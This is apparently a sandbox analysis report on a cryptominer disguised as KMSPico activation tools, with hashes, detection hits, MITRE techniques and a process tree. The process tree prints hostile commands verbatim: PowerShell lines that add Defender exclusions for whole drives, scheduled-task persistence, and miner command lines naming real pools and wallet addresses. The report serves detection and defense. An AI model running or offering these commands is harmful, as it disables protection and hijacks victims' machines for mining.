xmrig | abadc0f16379a501dd38d4c3bbf309614c93f65e64916e1bdbde53d4b1f9e903

Analysis

max time kernel
141s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
22/05/2026, 03:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-05-22_5c9f9e1a8349fc0846888a9f3cbddfd6_darkgate_elex_gcleaner_wannacry.exe
Size 7.7MB
Sample260522-dhtwfac12m
SHA256 abadc0f16379a501dd38d4c3bbf309614c93f65e64916e1bdbde53d4b1f9e903
MD5 5c9f9e1a8349fc0846888a9f3cbddfd6
SHA1 57847ba270174ed8b051a88abfb20667b58cb9c1
SHA512 5ac909ed1af59d5674fb26e3ceaf2968f253fab7aada3cb55d3ec171ab8dc17738162a2c7224458adcc5bc6f9be921cadeb9d05df7532358b0378612e93db097
SSDEEP 196608:1OB0xcE6pAGbRhgcLQIuJ9TT/qHd6j4vt6jtpXVOgxBxCLS3xZCsFC:1MU10brlLVuHbq92JjtpFJX/zno
TLSH
T10686332282982579D26172F6E11AA129D9B27EF64DA042338CFC73D4AE7D433CD1527E
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution xmrig installer miner persistence

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 11 IoCs

miner

resource	yara_rule
behavioral2/memory/3080-177-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/3080-179-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/3080-184-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/3080-185-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/3080-183-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/3080-182-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/3080-181-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/3080-186-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/3080-203-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/3080-204-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/3080-261-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
956	powershell.exe
2424	powershell.exe
3224	powershell.exe
2784	powershell.exe
2088	powershell.exe
4304	powershell.exe
644	powershell.exe
3732	powershell.exe
236	powershell.exe
4824	powershell.exe

Cryptocurrency Miner
Makes network request to known mining pool URL.
miner

Executes dropped EXE 10 IoCs

pid	Process
836	KMS.exe
4904	KMSPico Service.exe
4648	KMSPico Host.exe
1216	KMSpico_setup.exe
2872	KMSpico_setup.tmp
4852	service32dll.exe
2516	sysservices32.exe
2008	sihost64.exe
1580	sihost32.exe
4452	sysservices32.exe

Loads dropped DLL 3 IoCs

pid	Process
1992	2026-05-22_5c9f9e1a8349fc0846888a9f3cbddfd6_darkgate_elex_gcleaner_wannacry.exe
1992	2026-05-22_5c9f9e1a8349fc0846888a9f3cbddfd6_darkgate_elex_gcleaner_wannacry.exe
1992	2026-05-22_5c9f9e1a8349fc0846888a9f3cbddfd6_darkgate_elex_gcleaner_wannacry.exe

Drops file in System32 directory 8 IoCs

description	ioc	Process
File created	C:\Windows\system32\service32dll.exe	conhost.exe
File opened for modification	C:\Windows\system32\service32dll.exe	conhost.exe
File created	C:\Windows\system32\sysservices32.exe	conhost.exe
File opened for modification	C:\Windows\system32\sysservices32.exe	conhost.exe
File created	C:\Windows\system32\Microsoft\Libs\sihost64.exe	conhost.exe
File created	C:\Windows\system32\Microsoft\Libs\WR64.sys	conhost.exe
File created	C:\Windows\system32\Microsoft\Telemetry\sihost32.exe	conhost.exe
File opened for modification	C:\Windows\system32\sysservices32.exe	conhost.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2832 set thread context of 3080	2832	conhost.exe	124
PID 4696 set thread context of 4704	4696	conhost.exe	131

Drops file in Program Files directory 12 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\KMSPico 10.0.6\KMSPico Host.exe	2026-05-22_5c9f9e1a8349fc0846888a9f3cbddfd6_darkgate_elex_gcleaner_wannacry.exe
File opened for modification	C:\Program Files (x86)\KMSPico 10.0.6\KMSPico Host.exe	2026-05-22_5c9f9e1a8349fc0846888a9f3cbddfd6_darkgate_elex_gcleaner_wannacry.exe
File created	C:\Program Files (x86)\KMSPico 10.0.6\RUN.bat	2026-05-22_5c9f9e1a8349fc0846888a9f3cbddfd6_darkgate_elex_gcleaner_wannacry.exe
File opened for modification	C:\Program Files (x86)\KMSPico 10.0.6\KMS.exe	2026-05-22_5c9f9e1a8349fc0846888a9f3cbddfd6_darkgate_elex_gcleaner_wannacry.exe
File created	C:\Program Files (x86)\KMSPico 10.0.6\KMSPico Service.exe	2026-05-22_5c9f9e1a8349fc0846888a9f3cbddfd6_darkgate_elex_gcleaner_wannacry.exe
File opened for modification	C:\Program Files (x86)\KMSPico 10.0.6\KMSPico Service.exe	2026-05-22_5c9f9e1a8349fc0846888a9f3cbddfd6_darkgate_elex_gcleaner_wannacry.exe
File created	C:\Program Files (x86)\KMSPico 10.0.6\KMSpico_setup.exe	2026-05-22_5c9f9e1a8349fc0846888a9f3cbddfd6_darkgate_elex_gcleaner_wannacry.exe
File opened for modification	C:\Program Files (x86)\KMSPico 10.0.6\KMSpico_setup.exe	2026-05-22_5c9f9e1a8349fc0846888a9f3cbddfd6_darkgate_elex_gcleaner_wannacry.exe
File opened for modification	C:\Program Files (x86)\KMSPico 10.0.6\RUN.bat	2026-05-22_5c9f9e1a8349fc0846888a9f3cbddfd6_darkgate_elex_gcleaner_wannacry.exe
File created	C:\Program Files (x86)\KMSPico 10.0.6\Random.txt	2026-05-22_5c9f9e1a8349fc0846888a9f3cbddfd6_darkgate_elex_gcleaner_wannacry.exe
File opened for modification	C:\Program Files (x86)\KMSPico 10.0.6\Random.txt	2026-05-22_5c9f9e1a8349fc0846888a9f3cbddfd6_darkgate_elex_gcleaner_wannacry.exe
File created	C:\Program Files (x86)\KMSPico 10.0.6\KMS.exe	2026-05-22_5c9f9e1a8349fc0846888a9f3cbddfd6_darkgate_elex_gcleaner_wannacry.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-05-22_5c9f9e1a8349fc0846888a9f3cbddfd6_darkgate_elex_gcleaner_wannacry.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	KMS.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	KMSpico_setup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	KMSpico_setup.tmp

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
244	PING.EXE

Inno Setup is an open-source installation builder for Windows applications. 3 IoCs

Inno Setup installer

installer

resource	yara_rule
behavioral2/files/0x001e00000002b499-104.dat	innosetup
behavioral2/memory/1216-105-0x0000000000400000-0x0000000000417000-memory.dmp	innosetup
behavioral2/memory/1216-146-0x0000000000400000-0x0000000000417000-memory.dmp	innosetup

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
244	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1444	schtasks.exe
1780	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1992	2026-05-22_5c9f9e1a8349fc0846888a9f3cbddfd6_darkgate_elex_gcleaner_wannacry.exe
1992	2026-05-22_5c9f9e1a8349fc0846888a9f3cbddfd6_darkgate_elex_gcleaner_wannacry.exe
1992	2026-05-22_5c9f9e1a8349fc0846888a9f3cbddfd6_darkgate_elex_gcleaner_wannacry.exe
1992	2026-05-22_5c9f9e1a8349fc0846888a9f3cbddfd6_darkgate_elex_gcleaner_wannacry.exe
836	KMS.exe
836	KMS.exe
432	conhost.exe
956	powershell.exe
956	powershell.exe
2088	powershell.exe
2088	powershell.exe
4036	conhost.exe
2424	powershell.exe
2424	powershell.exe
4304	powershell.exe
4304	powershell.exe
2832	conhost.exe
2832	conhost.exe
3224	powershell.exe
3224	powershell.exe
3080	explorer.exe
3080	explorer.exe
644	powershell.exe
644	powershell.exe
3080	explorer.exe
3080	explorer.exe
4696	conhost.exe
4696	conhost.exe
3732	powershell.exe
3732	powershell.exe
3080	explorer.exe
3080	explorer.exe
236	powershell.exe
236	powershell.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe

Suspicious use of AdjustPrivilegeToken 16 IoCs

description	pid	Process
Token: SeDebugPrivilege	1992	2026-05-22_5c9f9e1a8349fc0846888a9f3cbddfd6_darkgate_elex_gcleaner_wannacry.exe
Token: SeDebugPrivilege	432	conhost.exe
Token: SeDebugPrivilege	956	powershell.exe
Token: SeDebugPrivilege	2088	powershell.exe
Token: SeDebugPrivilege	4036	conhost.exe
Token: SeDebugPrivilege	2424	powershell.exe
Token: SeDebugPrivilege	4304	powershell.exe
Token: SeDebugPrivilege	2832	conhost.exe
Token: SeDebugPrivilege	3224	powershell.exe
Token: SeLockMemoryPrivilege	3080	explorer.exe
Token: SeLockMemoryPrivilege	3080	explorer.exe
Token: SeDebugPrivilege	644	powershell.exe
Token: SeDebugPrivilege	4696	conhost.exe
Token: SeDebugPrivilege	3732	powershell.exe
Token: SeDebugPrivilege	236	powershell.exe
Token: SeDebugPrivilege	4824	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1992	2026-05-22_5c9f9e1a8349fc0846888a9f3cbddfd6_darkgate_elex_gcleaner_wannacry.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1992 wrote to memory of 1092	1992	2026-05-22_5c9f9e1a8349fc0846888a9f3cbddfd6_darkgate_elex_gcleaner_wannacry.exe	84
PID 1092 wrote to memory of 836	1092	cmd.exe	86
PID 1092 wrote to memory of 4904	1092	cmd.exe	88
PID 1992 wrote to memory of 656	1992	2026-05-22_5c9f9e1a8349fc0846888a9f3cbddfd6_darkgate_elex_gcleaner_wannacry.exe	89
PID 656 wrote to memory of 244	656	cmd.exe	91
PID 4904 wrote to memory of 432	4904	KMSPico Service.exe	92
PID 4904 wrote to memory of 432	4904	KMSPico Service.exe	92
PID 1092 wrote to memory of 4648	1092	cmd.exe	93
PID 432 wrote to memory of 1420	432	conhost.exe	94
PID 1420 wrote to memory of 956	1420	cmd.exe	96
PID 432 wrote to memory of 3420	432	conhost.exe	97
PID 3420 wrote to memory of 1444	3420	cmd.exe	99
PID 1420 wrote to memory of 2088	1420	cmd.exe	101
PID 4648 wrote to memory of 4036	4648	KMSPico Host.exe	102
PID 4648 wrote to memory of 4036	4648	KMSPico Host.exe	102
PID 4036 wrote to memory of 1700	4036	conhost.exe	103
PID 1700 wrote to memory of 2424	1700	cmd.exe	105
PID 4036 wrote to memory of 904	4036	conhost.exe	106
PID 1092 wrote to memory of 1216	1092	cmd.exe	109
PID 1216 wrote to memory of 2872	1216	KMSpico_setup.exe	110
PID 1700 wrote to memory of 4304	1700	cmd.exe	112
PID 432 wrote to memory of 1096	432	conhost.exe	113
PID 1096 wrote to memory of 4852	1096	cmd.exe	115
PID 4036 wrote to memory of 924	4036	conhost.exe	116
PID 924 wrote to memory of 2516	924	cmd.exe	118
PID 4852 wrote to memory of 2832	4852	service32dll.exe	119
PID 4852 wrote to memory of 2832	4852	service32dll.exe	119
PID 2832 wrote to memory of 3060	2832	conhost.exe	120
PID 3060 wrote to memory of 3224	3060	cmd.exe	122
PID 2832 wrote to memory of 2008	2832	conhost.exe	123
PID 2832 wrote to memory of 3080	2832	conhost.exe	124
PID 2832 wrote to memory of 3080	2832	conhost.exe	124
PID 2832 wrote to memory of 3080	2832	conhost.exe	124
PID 2832 wrote to memory of 3080	2832	conhost.exe	124
PID 2832 wrote to memory of 3080	2832	conhost.exe	124
PID 2832 wrote to memory of 3080	2832	conhost.exe	124
PID 2832 wrote to memory of 3080	2832	conhost.exe	124
PID 2832 wrote to memory of 3080	2832	conhost.exe	124
PID 2832 wrote to memory of 3080	2832	conhost.exe	124
PID 2832 wrote to memory of 3080	2832	conhost.exe	124
PID 2832 wrote to memory of 3080	2832	conhost.exe	124
PID 2832 wrote to memory of 3080	2832	conhost.exe	124
PID 2832 wrote to memory of 3080	2832	conhost.exe	124
PID 3060 wrote to memory of 644	3060	cmd.exe	125
PID 2516 wrote to memory of 4696	2516	sysservices32.exe	126
PID 2516 wrote to memory of 4696	2516	sysservices32.exe	126
PID 4696 wrote to memory of 692	4696	conhost.exe	127
PID 692 wrote to memory of 3732	692	cmd.exe	129
PID 4696 wrote to memory of 1580	4696	conhost.exe	130
PID 4696 wrote to memory of 4704	4696	conhost.exe	131
PID 4696 wrote to memory of 4704	4696	conhost.exe	131
PID 4696 wrote to memory of 4704	4696	conhost.exe	131
PID 4696 wrote to memory of 4704	4696	conhost.exe	131
PID 4696 wrote to memory of 4704	4696	conhost.exe	131
PID 4696 wrote to memory of 4704	4696	conhost.exe	131
PID 4696 wrote to memory of 4704	4696	conhost.exe	131
PID 4696 wrote to memory of 4704	4696	conhost.exe	131
PID 4696 wrote to memory of 4704	4696	conhost.exe	131
PID 4696 wrote to memory of 4704	4696	conhost.exe	131
PID 4696 wrote to memory of 4704	4696	conhost.exe	131
PID 692 wrote to memory of 236	692	cmd.exe	132
PID 2008 wrote to memory of 2088	2008	sihost64.exe	133
PID 2008 wrote to memory of 2088	2008	sihost64.exe	133
PID 1580 wrote to memory of 3596	1580	sihost32.exe	136

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-05-22_5c9f9e1a8349fc0846888a9f3cbddfd6_darkgate_elex_gcleaner_wannacry.exe
"C:\Users\Admin\AppData\Local\Temp\2026-05-22_5c9f9e1a8349fc0846888a9f3cbddfd6_darkgate_elex_gcleaner_wannacry.exe"
1⤵
- Loads dropped DLL
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:1992
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\KMSPico 10.0.6\RUN.bat""
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1092
- - C:\Program Files (x86)\KMSPico 10.0.6\KMS.exe
    KMS.exe /D
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:836
- - C:\Program Files (x86)\KMSPico 10.0.6\KMSPico Service.exe
    "KMSPico Service.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:4904
  - - C:\Windows\System32\conhost.exe
      "C:\Windows\System32\conhost.exe" "C:\Program Files (x86)\KMSPico 10.0.6\KMSPico Service.exe"
      4⤵
      Drops file in System32 directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:432
    - - C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1420
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:956
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2088
    - - C:\Windows\System32\cmd.exe
        
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "service32dll" /tr "C:\Windows\system32\service32dll.exe"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3420
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "service32dll" /tr "C:\Windows\system32\service32dll.exe"
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1444
    - - C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c "C:\Windows\system32\service32dll.exe"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1096
      - C:\Windows\system32\service32dll.exe
        
        C:\Windows\system32\service32dll.exe
        6⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4852
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Windows\system32\service32dll.exe"
        7⤵
        Drops file in System32 directory
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2832
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:3060
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        9⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3224
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        9⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:644
        
        C:\Windows\system32\Microsoft\Libs\sihost64.exe
        
        "C:\Windows\system32\Microsoft\Libs\sihost64.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:2008
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "/sihost64"
        9⤵
        
        PID:2088
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.supportxmr.com:443 --user=87eAG9if5sPCH7cX4haoxtXLSkrhfCECZc3TCpcUogq4WBmWJiWCxDZT35akZuHDSaMARYYZdEKdJZ5NpzNuH7o2AfCMT6d --pass=x --cpu-max-threads-hint=20 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-idle-wait=3 --cinit-idle-cpu=80 --tls --cinit-stealth
        8⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3080
- - C:\Program Files (x86)\KMSPico 10.0.6\KMSPico Host.exe
    "KMSPico Host.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:4648
  - - C:\Windows\System32\conhost.exe
      "C:\Windows\System32\conhost.exe" "C:\Program Files (x86)\KMSPico 10.0.6\KMSPico Host.exe"
      4⤵
      Drops file in System32 directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4036
    - - C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1700
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2424
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4304
    - - C:\Windows\System32\cmd.exe
        
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "sysservices32" /tr "C:\Windows\system32\sysservices32.exe"
        5⤵
        
        PID:904
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "sysservices32" /tr "C:\Windows\system32\sysservices32.exe"
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1780
    - - C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c "C:\Windows\system32\sysservices32.exe"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:924
      - C:\Windows\system32\sysservices32.exe
        
        C:\Windows\system32\sysservices32.exe
        6⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:2516
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Windows\system32\sysservices32.exe"
        7⤵
        Drops file in System32 directory
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4696
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:692
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        9⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3732
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        9⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:236
        
        C:\Windows\system32\Microsoft\Telemetry\sihost32.exe
        
        "C:\Windows\system32\Microsoft\Telemetry\sihost32.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:1580
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "/sihost32"
        9⤵
        Drops file in System32 directory
        
        PID:3596
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        10⤵
        
        PID:5048
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        11⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:4824
        
        C:\Windows\system32\sysservices32.exe
        
        "C:\Windows\system32\sysservices32.exe"
        10⤵
        Executes dropped EXE
        
        PID:4452
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Windows\system32\sysservices32.exe"
        11⤵
        
        PID:1780
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        12⤵
        
        PID:2020
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        13⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2784
        
        C:\Windows\system32\Microsoft\Telemetry\sihost32.exe
        
        "C:\Windows\system32\Microsoft\Telemetry\sihost32.exe"
        12⤵
        
        PID:3224
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows/System32\cmd.exe --cinit-find-e --pool=stratums://`0x9D50B9e3aD9426F47ccA2Cf74d5C2E4eA8e01cbA`@asia-etc.2miners.com:11010 --cinit-max-gpu=90 --response-timeout=300 --farm-retries=30 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56GQTOYuXRCBeyb5NYlmdCuiwuvmEFRE3FUoytGa2xDRKVyTGVqBRZ3YvrseaWnYy0OhLuczKVxfo8Wo33kvDh26CIpmy6+bf50YCXxhpkDvay12RqWFwTrEWzJDjMOFSbV4qSudJZDKeejGmt2wAsK5BdU2tG88Nz7dx6M2VTav4t1sCBeF7cCUeTHwMUjEXMCRTW9AORRwvGtdJb8R1Po59ZYUm/0Q3xUV94CjqI5XohbkswcA0aENRaUCF89SNHsQFrFFvB5iicJccuEWjatOZw/CX1xUM2TJeX2A9uk7c0iL2RPtmqh/MO8qv9JuR6LEoXszC7wlUFaubIV2/1wCxKRs8E17qLnb8Q7/9SU2OtImqVg4F2SBUSa0qSLb10FAdhxBDKNcXymf2KYEzGUzkGZe2dtXFu4GB1OrNbQZ+dhCmECZ/fz4ofUxRpFDiwHufilGk0+uyoU+m2LGbMojTy7RD2/1dP94LmrDOlUARqI6nOSjaWOaCwryXnjAHWMyJr/suyMVCHHMsedOYvU/IZaqWuv99IhWJqRWUN0gkASGYtJ0OUvFedEpB1/MECj79fBmk2+4+BO8Ute++s8or2wuHI3OBs/v0owRwRoAieIMEHgmcelJCBUNVq+c5+WjEWP6PUiqAZS00nUurpQ42EUHb4bVoAcXH0gI+u4vevmc2WrTI4I9zkGuNXvS+w+VFYFn/UWC1wt+kC06n89s9jfoIchG2w8xM54rwbKtY5wo1uWRgq7CdTTCy8ORQyi2RYisNdITh+b3wHfiAONID1o8QNmFog+gSRlEqo5QcSJEbYNrlTLPhKYcDWCQtH+B54ruH6NSksi1lSHC7LILRu5EH9g9xKlmjYdGLquvgbng24Nq5YoCmPAwAssU41n10EMCd4HiYXQDzxsxXZ7EuxNwvgn1PzuNp/dITBrcedt8hWjRUqzAzNEDbmMXJen6J4Xumo